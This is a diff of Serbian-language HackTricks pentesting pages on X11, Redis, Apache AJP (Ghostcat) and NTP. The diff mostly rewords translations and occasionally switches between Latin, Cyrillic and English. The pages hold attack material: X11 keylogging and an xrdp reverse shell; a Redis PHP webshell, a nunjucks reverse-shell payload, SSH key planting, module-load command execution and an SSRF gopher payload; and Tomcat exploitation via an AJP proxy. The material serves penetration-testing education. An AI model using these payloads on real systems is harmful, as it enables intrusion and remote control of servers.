|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
**Hacking Insights**\
|
||||
Engage with content that delves into the thrill and challenges of hacking
|
||||
**Hakerski Uvidi**\
|
||||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
**Vesti o Haku u Realnom Vremenu**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
||||
**Latest Announcements**\
|
||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
**Najnovija Obaveštenja**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
**Pridružite nam se na** [**Discordu**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
||||
## Basic Information
|
||||
## Osnovne Informacije
|
||||
|
||||
**X Window System** (X) je svestran sistem za prozore koji je prisutan na UNIX-baziranim operativnim sistemima. Pruža okvir za kreiranje grafičkih **korisničkih interfejsa (GUI)**, pri čemu pojedinačni programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznolika i prilagodljiva iskustva unutar X okruženja.
|
||||
**X Window System** (X) je svestran sistem prozora prisutan na UNIX-baziranim operativnim sistemima. Pruža okvir za kreiranje grafičkih **korisničkih interfejsa (GUI)**, pri čemu pojedinačni programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznolika i prilagodljiva iskustva unutar X okruženja.
|
||||
|
||||
**Default port:** 6000
|
||||
**Podrazumevani port:** 6000
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
6000/tcp open X11
|
||||
|
@ -62,7 +62,7 @@ $ xxd ~/.Xauthority
|
|||
Da biste **koristili cookie** treba da postavite env var: **`export XAUTHORITY=/path/to/.Xauthority`**
|
||||
{% endhint %}
|
||||
|
||||
#### Lokalna enumeracija sesije
|
||||
#### Lokalna sesija enumeracije
|
||||
```bash
|
||||
$ w
|
||||
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
|
||||
|
@ -78,7 +78,7 @@ xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display
|
|||
```
|
||||
## Keyloggin
|
||||
|
||||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) za presretanje pritisaka na tastaturu.
|
||||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) za presretanje pritisaka na tastaturi.
|
||||
|
||||
Sample Output:
|
||||
```
|
||||
|
@ -95,11 +95,11 @@ convert screenshot.xwd screenshot.png
|
|||
```
|
||||
## Remote Desktop View
|
||||
|
||||
Način sa: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
Putanja sa: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
```
|
||||
./xrdp.py <IP:0>
|
||||
```
|
||||
Putem: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
Način od: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
|
||||
Prvo moramo pronaći ID prozora koristeći xwininfo
|
||||
```
|
||||
|
@ -139,7 +139,7 @@ Za **uživo gledanje** potrebno je koristiti
|
|||
```
|
||||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||||
```
|
||||
**Reverse Shell:** Xrdp takođe omogućava uzimanje reverse shell-a putem Netcat-a. Ukucajte sledeću komandu:
|
||||
**Обратна љуска:** Xrdp такође омогућава узимање обратне љушке преко Netcat-а. Укуцајте следећу команду:
|
||||
```bash
|
||||
./xrdp.py \<IP:0> –no-disp
|
||||
```
|
||||
|
@ -161,7 +161,7 @@ Zatim unesite svoju IP adresu i port u opciju **R-Shell** i kliknite na **R-shel
|
|||
|
||||
* `port:6000 x11`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -182,7 +182,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Podrška HackTricks</summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -34,16 +34,16 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
From [the docs](https://redis.io/topics/introduction): Redis je open source (BSD licenciran), u memoriji **skladište podataka**, korišćeno kao **baza podataka**, keš i posrednik poruka).
|
||||
|
||||
By default Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md).
|
||||
Po defaultu, Redis koristi protokol zasnovan na običnom tekstu, ali treba imati na umu da takođe može implementirati **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md).
|
||||
|
||||
**Podrazumevani port:** 6379
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
6379/tcp open redis Redis key-value store 4.0.9
|
||||
```
|
||||
## Automatic Enumeration
|
||||
## Автоматска Енумерација
|
||||
|
||||
Neki automatski alati koji mogu pomoći u dobijanju informacija iz redis instance:
|
||||
Неколико автоматизованих алата који могу помоћи у добијању информација из redis инстанце:
|
||||
```bash
|
||||
nmap --script redis-info -sV -p 6379 <IP>
|
||||
msf> use auxiliary/scanner/redis/redis_server
|
||||
|
@ -63,25 +63,25 @@ Prva komanda koju možete probati je **`info`**. Ona može vratiti izlaz sa info
|
|||
```
|
||||
-NOAUTH Authentication required.
|
||||
```
|
||||
U ovom poslednjem slučaju, to znači da **vam su potrebne važeće akreditive** za pristup Redis instanci.
|
||||
U ovom poslednjem slučaju, to znači da **vam trebaju važeće akreditive** za pristup Redis instanci.
|
||||
|
||||
### Redis Autentifikacija
|
||||
|
||||
**Po defaultu** Redis se može pristupiti **bez akreditiva**. Međutim, može biti **konfiguran** da podrži **samo lozinku, ili korisničko ime + lozinku**.\
|
||||
**Podrazumevano** Redis se može pristupiti **bez akreditiva**. Međutim, može biti **konfiguran** da podrži **samo lozinku, ili korisničko ime + lozinku**.\
|
||||
Moguće je **postaviti lozinku** u _**redis.conf**_ datoteci sa parametrima `requirepass` **ili privremeno** dok se usluga ne restartuje povezivanjem na nju i pokretanjem: `config set requirepass p@ss$12E45`.\
|
||||
Takođe, **korisničko ime** može biti konfigurisano u parametru `masteruser` unutar _**redis.conf**_ datoteke.
|
||||
|
||||
{% hint style="info" %}
|
||||
Ako je konfigurisana samo lozinka, korisničko ime koje se koristi je "**default**".\
|
||||
Takođe, imajte na umu da **ne postoji način da se spolja** sazna da li je Redis konfiguran sa samo lozinkom ili korisničkim imenom+lozinkom.
|
||||
Ako je samo lozinka konfigurisana, korisničko ime koje se koristi je "**default**".\
|
||||
Takođe, imajte na umu da **ne postoji način da se spolja** sazna da li je Redis konfiguran samo sa lozinkom ili korisničkim imenom + lozinkom.
|
||||
{% endhint %}
|
||||
|
||||
U slučajevima poput ovog, **biće vam potrebni važeći akreditivi** da biste interagovali sa Redis-om, pa možete pokušati da [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) to.\
|
||||
U slučajevima poput ovog, **trebaće vam da pronađete važeće akreditive** da biste interagovali sa Redis-om, pa možete pokušati da [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) to.\
|
||||
**U slučaju da pronađete važeće akreditive, potrebno je da autentifikujete sesiju** nakon uspostavljanja veze sa komandom:
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
```
|
||||
**Validni kredencijali** će biti odgovoreni sa: `+OK`
|
||||
**Validni kredencijali** će odgovoriti sa: `+OK`
|
||||
|
||||
### **Autentifikovana enumeracija**
|
||||
|
||||
|
@ -112,7 +112,7 @@ Unutar Redis-a **baze podataka su brojevi počevši od 0**. Možete saznati da l
|
|||
|
||||
![](<../.gitbook/assets/image (766).png>)
|
||||
|
||||
Ili možete jednostavno dobiti sve **keyspace** (baze podataka) sa:
|
||||
Ili možete jednostavno dobiti sve **keyspace-ove** (baze podataka) sa:
|
||||
```
|
||||
INFO keyspace
|
||||
```
|
||||
|
@ -125,7 +125,7 @@ KEYS *
|
|||
GET <KEY>
|
||||
[ ... Get Key ... ]
|
||||
```
|
||||
U slučaju da dobijete sledeću grešku `-WRONGTYPE Operation against a key holding the wrong kind of value` dok izvršavate `GET <KEY>`, to je zato što ključ može biti nešto drugo osim stringa ili celog broja i zahteva poseban operator za prikaz.
|
||||
U slučaju da dobijete sledeću grešku `-WRONGTYPE Operation against a key holding the wrong kind of value` dok izvršavate `GET <KEY>`, to je zato što ključ može biti nešto drugo osim stringa ili celog broja i zahteva poseban operator za prikazivanje.
|
||||
|
||||
Da biste saznali tip ključa, koristite komandu `TYPE`, primer ispod za listu i hash ključeve.
|
||||
```bash
|
||||
|
@ -139,34 +139,34 @@ HGET <KEY> <FIELD>
|
|||
# If the type used is weird you can always do:
|
||||
DUMP <key>
|
||||
```
|
||||
**Dumpujte bazu podataka sa npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **ili python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
**Dump the database with npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **or python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
**Hakerski Uvidi**\
|
||||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||||
**Hacking Insights**\
|
||||
Angažujte se sa sadržajem koji se bavi uzbuđenjem i izazovima hakovanja
|
||||
|
||||
**Vesti o Haku u Realnom Vremenu**\
|
||||
**Real-Time Hack News**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
||||
**Najnovija Obaveštenja**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
|
||||
**Latest Announcements**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
|
||||
|
||||
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
## Redis RCE
|
||||
|
||||
### Interaktivna Šel
|
||||
### Interactive Shell
|
||||
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) može automatski dobiti interaktivnu šel ili reverznu šel u Redis(<=5.0.5).
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) može automatski dobiti interaktivnu ljusku ili obrnutu ljusku u Redis-u (<=5.0.5).
|
||||
```
|
||||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||||
```
|
||||
### PHP Webshell
|
||||
|
||||
Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Morate znati **putanju** **foldera veb sajta**:
|
||||
Informacije iz [**ovde**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Morate znati **putanju** **foldera veb sajta**:
|
||||
```
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||||
|
@ -182,9 +182,9 @@ OK
|
|||
|
||||
### Template Webshell
|
||||
|
||||
Kao u prethodnom odeljku, takođe možete prepisati neku html šablonsku datoteku koja će biti interpretirana od strane šablonskog engine-a i dobiti shell.
|
||||
Kao u prethodnom odeljku, takođe možete prepisati neki html template fajl koji će biti interpretiran od strane template engine-a i dobiti shell.
|
||||
|
||||
Na primer, prateći [**ovaj izveštaj**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), možete videti da je napadač ubacio **rev shell u html** koji interpretira **nunjucks šablonski engine:**
|
||||
Na primer, prateći [**ovaj izveštaj**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), možete videti da je napadač ubacio **rev shell u html** koji interpretira **nunjucks template engine:**
|
||||
```javascript
|
||||
{{ ({}).constructor.constructor(
|
||||
"var net = global.process.mainModule.require('net'),
|
||||
|
@ -199,14 +199,14 @@ sh.stderr.pipe(client);
|
|||
)()}}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Napomena da **nekoliko engine-a za šablone kešira** šablone u **memoriji**, tako da čak i ako ih prepišete, novi **neće biti izvršen**. U tim slučajevima, ili je programer ostavio automatsko ponovno učitavanje aktivnim ili treba da uradite DoS nad uslugom (i očekujete da će biti automatski ponovo pokrenuta).
|
||||
Napomena da **nekoliko engine-a za šablone kešira** šablone u **memoriji**, tako da čak i ako ih prepišete, novi **neće biti izvršen**. U ovim slučajevima, ili je programer ostavio automatsko ponovno učitavanje aktivno ili treba da uradite DoS nad uslugom (i očekujete da će biti automatski ponovo pokrenuta).
|
||||
{% endhint %}
|
||||
|
||||
### SSH
|
||||
|
||||
Primer [odavde](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||||
|
||||
Molimo vas da budete svesni da se rezultat **`config get dir`** može promeniti nakon drugih ručnih eksploatacionih komandi. Preporučuje se da ga pokrenete prvi put odmah nakon prijavljivanja u Redis. U izlazu **`config get dir`** možete pronaći **home** **redis korisnika** (obično _/var/lib/redis_ ili _/home/redis/.ssh_), i znajući ovo znate gde možete napisati datoteku `authenticated_users` za pristup putem ssh **sa korisnikom redis**. Ako znate home drugog važećeg korisnika gde imate dozvole za pisanje, možete ga takođe zloupotrebiti:
|
||||
Molimo vas da budete svesni da se rezultat **`config get dir`** može promeniti nakon drugih ručnih eksploatacionih komandi. Preporučuje se da ga pokrenete prvo odmah nakon prijavljivanja u Redis. U izlazu **`config get dir`** možete pronaći **home** **redis korisnika** (obično _/var/lib/redis_ ili _/home/redis/.ssh_), i znajući ovo znate gde možete napisati datoteku `authenticated_users` za pristup putem ssh **sa korisnikom redis**. Ako znate home drugog važećeg korisnika gde imate dozvole za pisanje, možete ga takođe zloupotrebiti:
|
||||
|
||||
1. Generišite ssh javni-privatni ključ na vašem računaru: **`ssh-keygen -t rsa`**
|
||||
2. Napišite javni ključ u datoteku : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
|
@ -245,7 +245,7 @@ Ova metoda se takođe može koristiti za zarađivanje bitcoina :[yam](https://
|
|||
|
||||
1. Prateći uputstva sa [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) možete **kompilirati redis modul za izvršavanje proizvoljnih komandi**.
|
||||
2. Zatim vam je potreban način da **otpremite kompajlirani** modul.
|
||||
3. **Učitajte otpremni modul** u vreme izvršavanja sa `MODULE LOAD /path/to/mymodule.so`.
|
||||
3. **Učitajte otpremljeni modul** u vreme izvršavanja sa `MODULE LOAD /path/to/mymodule.so`.
|
||||
4. **Prikažite učitane module** da proverite da li je ispravno učitan: `MODULE LIST`.
|
||||
5. **Izvršite** **komande**:
|
||||
|
||||
|
@ -280,9 +280,9 @@ redis-cli -h 10.85.0.51 -p 6379
|
|||
set mykey hello
|
||||
set mykey2 helloworld
|
||||
```
|
||||
## SSRF razgovor sa Redis
|
||||
## SSRF razgovor sa Redis-om
|
||||
|
||||
Ako možete poslati **čist tekst** zahtev **ka Redis**, možete **komunicirati sa njim** jer će Redis čitati red po red zahtev i jednostavno odgovarati greškama na redove koje ne razume:
|
||||
Ako možete poslati **čist tekst** zahtev **ka Redis-u**, možete **komunicirati sa njim** jer će Redis čitati red po red zahtev i jednostavno odgovarati greškama na redove koje ne razume:
|
||||
```
|
||||
-ERR wrong number of arguments for 'get' command
|
||||
-ERR unknown command 'Host:'
|
||||
|
@ -311,12 +311,12 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
|
|||
```
|
||||
_Iz nekog razloga (kao za autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _odakle je ova informacija preuzeta) eksploatacija je radila sa `git` shemom, a ne sa `http` shemom._
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
**Hacking Insights**\
|
||||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||||
Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -38,7 +38,7 @@ From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https:
|
|||
|
||||
Takođe zanimljivo:
|
||||
|
||||
> AJP13 protokol je orijentisan na pakete. Binarni format je verovatno izabran umesto čitljivijeg običnog teksta iz razloga performansi. Web server komunicira sa servlet kontejnerom preko TCP veza. Da bi se smanjio skupi proces kreiranja soketa, web server će pokušati da održava trajne TCP veze sa servlet kontejnerom i da ponovo koristi vezu za više ciklusa zahtev/odgovor.
|
||||
> AJP13 protokol je orijentisan na pakete. Binarni format je verovatno izabran umesto čitljivijeg običnog teksta iz razloga performansi. Web server komunicira sa servlet kontejnerom preko TCP veza. Da bi se smanjio skupi proces kreiranja soketa, web server će pokušati da održi trajne TCP veze sa servlet kontejnerom i da ponovo koristi vezu za više ciklusa zahtev/odgovor.
|
||||
|
||||
**Default port:** 8009
|
||||
```
|
||||
|
@ -49,7 +49,7 @@ PORT STATE SERVICE
|
|||
|
||||
Ako je AJP port izložen, Tomcat može biti podložan Ghostcat ranjivosti. Ovde je [eksploit](https://www.exploit-db.com/exploits/48143) koji funkcioniše sa ovim problemom.
|
||||
|
||||
Ghostcat je LFI ranjivost, ali donekle ograničena: samo datoteke iz određenog puta mogu biti preuzete. Ipak, to može uključivati datoteke kao što su `WEB-INF/web.xml` koje mogu otkriti važne informacije kao što su akreditivi za Tomcat interfejs, u zavisnosti od podešavanja servera.
|
||||
Ghostcat je LFI ranjivost, ali donekle ograničena: samo datoteke iz određenog puta mogu biti preuzete. Ipak, ovo može uključivati datoteke kao što su `WEB-INF/web.xml` koje mogu otkriti važne informacije kao što su akreditivi za Tomcat interfejs, u zavisnosti od podešavanja servera.
|
||||
|
||||
Ispravljene verzije 9.0.31 i više, 8.5.51 i 7.0.100 su rešile ovaj problem.
|
||||
|
||||
|
@ -67,7 +67,7 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
|
|||
|
||||
[Proverite Dockerizovanu verziju](8009-pentesting-apache-jserv-protocol-ajp.md#Dockerized-version)
|
||||
|
||||
Kada naiđemo na otvoren AJP proxy port (8009 TCP), možemo koristiti Nginx sa `ajp_module` za pristup "skrivenom" Tomcat Manager-u. Ovo se može uraditi kompajliranjem Nginx izvornog koda i dodavanjem potrebnog modula, na sledeći način:
|
||||
Kada naiđemo na otvoren AJP proxy port (8009 TCP), možemo koristiti Nginx sa `ajp_module` za pristup "skrivenom" Tomcat Manager-u. To se može uraditi kompajliranjem Nginx izvornog koda i dodavanjem potrebnog modula, na sledeći način:
|
||||
|
||||
* Preuzmite Nginx izvorni kod
|
||||
* Preuzmite potrebni modul
|
||||
|
@ -101,7 +101,7 @@ ajp_pass tomcats;
|
|||
}
|
||||
}
|
||||
```
|
||||
Pokrenite Nginx i proverite da li sve funkcioniše ispravno tako što ćete poslati cURL zahtev na vaš lokalni host.
|
||||
Pokrenite Nginx i proverite da li sve funkcioniše ispravno tako što ćete poslati cURL zahtev vašem lokalnom hostu.
|
||||
```html
|
||||
sudo nginx
|
||||
curl http://127.0.0.1:80
|
||||
|
@ -147,7 +147,7 @@ docker run -it --rm -p 80:80 nginx-ajp-proxy
|
|||
```
|
||||
### Apache AJP Proxy
|
||||
|
||||
Susret sa otvorenim portom 8009 bez drugih dostupnih web portova je retkost. Ipak, moguće je iskoristiti ga koristeći **Metasploit**. Korišćenjem **Apache** kao proksija, zahtevi se mogu preusmeriti na **Tomcat** na portu 8009.
|
||||
Susret sa otvorenim portom 8009 bez drugih dostupnih web portova je retkost. Ipak, moguće je iskoristiti ga koristeći **Metasploit**. Korišćenjem **Apache** kao proxy, zahtevi se mogu preusmeriti na **Tomcat** na portu 8009.
|
||||
```bash
|
||||
sudo apt-get install libapache2-mod-jk
|
||||
sudo vim /etc/apache2/apache2.conf # append the following line to the config
|
||||
|
@ -165,7 +165,7 @@ sudo a2enmod proxy_http
|
|||
sudo a2enmod proxy_ajp
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
Ova postavka nudi potencijal za zaobilaženje sistema za detekciju i prevenciju upada (IDS/IPS) zbog **binarne prirode AJP protokola**, iako ova sposobnost nije verifikovana. Usmeravanjem redovnog Metasploit Tomcat eksploita na `127.0.0.1:80`, možete efikasno preuzeti kontrolu nad ciljnim sistemom.
|
||||
Ova konfiguracija nudi potencijal za zaobilaženje sistema za detekciju i prevenciju upada (IDS/IPS) zbog **binarne prirode AJP protokola**, iako ova sposobnost nije verifikovana. Usmeravanjem redovnog Metasploit Tomcat eksploita na `127.0.0.1:80`, možete efikasno preuzeti kontrolu nad ciljnim sistemom.
|
||||
```bash
|
||||
msf exploit(tomcat_mgr_deploy) > show options
|
||||
```
|
||||
|
@ -174,7 +174,7 @@ msf exploit(tomcat_mgr_deploy) > show options
|
|||
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
|
||||
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -195,7 +195,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Podrška HackTricks</summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -16,7 +16,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -33,7 +33,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## Basic Information
|
||||
|
||||
**Protokol mrežnog vremena (NTP)** osigurava da računari i mrežni uređaji na mrežama sa promenljivom latencijom tačno sinhronizuju svoje satove. To je od vitalnog značaja za održavanje preciznog merenja vremena u IT operacijama, bezbednosti i logovanju. Tačnost NTP-a je ključna, ali takođe predstavlja bezbednosne rizike ako se ne upravlja pravilno.
|
||||
**Protokol za sinhronizaciju vremena (NTP)** osigurava da računari i mrežni uređaji na mrežama sa promenljivom latencijom tačno sinhronizuju svoje satove. To je od vitalnog značaja za održavanje preciznog merenja vremena u IT operacijama, bezbednosti i logovanju. Tačnost NTP-a je ključna, ali takođe predstavlja bezbednosne rizike ako se ne upravlja pravilno.
|
||||
|
||||
### Summary & Security Tips:
|
||||
|
||||
|
@ -100,7 +100,7 @@ Name: Nmap
|
|||
Description: Enumerate NTP
|
||||
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
